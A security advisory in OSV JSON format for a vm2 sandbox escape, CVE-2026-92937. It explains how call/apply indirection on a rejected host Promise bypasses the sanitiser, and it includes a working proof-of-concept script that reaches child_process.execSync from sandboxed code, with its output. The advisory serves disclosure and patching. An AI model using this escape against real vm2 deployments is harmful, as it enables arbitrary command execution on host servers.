CVE-2026-92937: vm2 Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-647f-g98j-qq25",
  "modified" : "2026-10-01T15:32:11Z",
  "published" : "2026-10-01T15:32:10Z",
  "aliases" : [ "CVE-2026-92937" ],
  "summary" : "vm2: GHSA-m283-3h24-438v fix bypass leads to host RCE via call/apply indirection",
  "details" : "## Summary\n\nUntrusted JavaScript run by vm2 can escape the sandbox and execute arbitrary commands in the host Node.js process when an embedder-exposed host Promise rejects. This is an incomplete fix for GHSA-m283-3h24-438v: the advisory's capability-bearing rejection rebuild runs only through this direct Promise-handler path, so call/apply indirection bypasses the protection it introduced. The bridge sanitises host rejection values before sandbox callbacks run, but the gate at `lib/bridge.js:1624` identity-checks only the direct call target. Registering the rejection handler through `Function.prototype.call` indirection, `p.then.call(p, undefined, cb)`, makes the intercepted target host `Function.prototype.call`, so the sanitiser never runs and the raw host error reaches the sandbox (`lib/bridge.js:1639`) without the rebuild that strips host references carried by its own properties (`lib/setup-sandbox.js:2104`). A rejection error whose own property references a powerful host object, for example `err.detail = process`, therefore reaches sandbox code as a fully functional proxy, and `e.detail.mainModule.require('child_process').execSync(...)` executes with host privileges. The `.apply` form and a stacked `call.call` behave identically.\n\n## PoC\n\nSave as `poc.js` and run `node poc.js`:\n\n```js\nconst { VM } = require('vm2');\nconst vm = new VM({ sandbox: {\n  fetchUser: async () => {\n    const err = new Error('db connection failed');\n    err.detail = process; // embedder-attached host reference\n    throw err;\n  },\n}});\nvm.run(`\n  const p = fetchUser(1);              // proxy of the host Promise\n  p.then.call(p, undefined, (e) => {   // .call indirection skips the sanitiser\n    e.detail.mainModule.require('child_process')\n      .execSync('echo vm2-escape-proof > /tmp/poc.proof');\n  });\n`);\n```\n\n### Observed output\n\n```shell\n$ cat /tmp/poc.proof\nvm2-escape-proof\n```\n\nRegistering the same callback directly, `p.then(undefined, cb)`, strips `detail` and no command runs; the `bind` and `Reflect.apply` forms are sanitised as well, isolating the bypass to `call` and `apply` indirection.\n\n## Impact\n\nAny deployment that evaluates attacker-controlled code with vm2 and exposes a host-realm Promise to the sandbox is affected: an async host function bridged through the `sandbox` option, or a NodeVM external module's async method. If that Promise rejects with an Error carrying a non-primitive own property that references a host object, a diagnostic pattern the vm2 codebase itself documents as routine for Node libraries (`lib/setup-sandbox.js:1877`), a single submission yields arbitrary command execution in the host process with the host account's privileges, including file read and write, process spawning, and network access. In a multi-tenant service evaluating untrusted code, one submission compromises the worker process and every tenant it serves.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.11.6"
      }, {
        "fixed" : "3.11.7"
      } ]
    } ],
    "versions" : [ "3.11.6" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-647f-g98j-qq25"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-92937"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/315786904c416be68ff2517b86fb9d71fa6761db"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/vm2-3.11.6-remote-code-execution-via-promise-call-apply"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-01T15:32:10Z",
    "nvd_published_at" : null
  }
}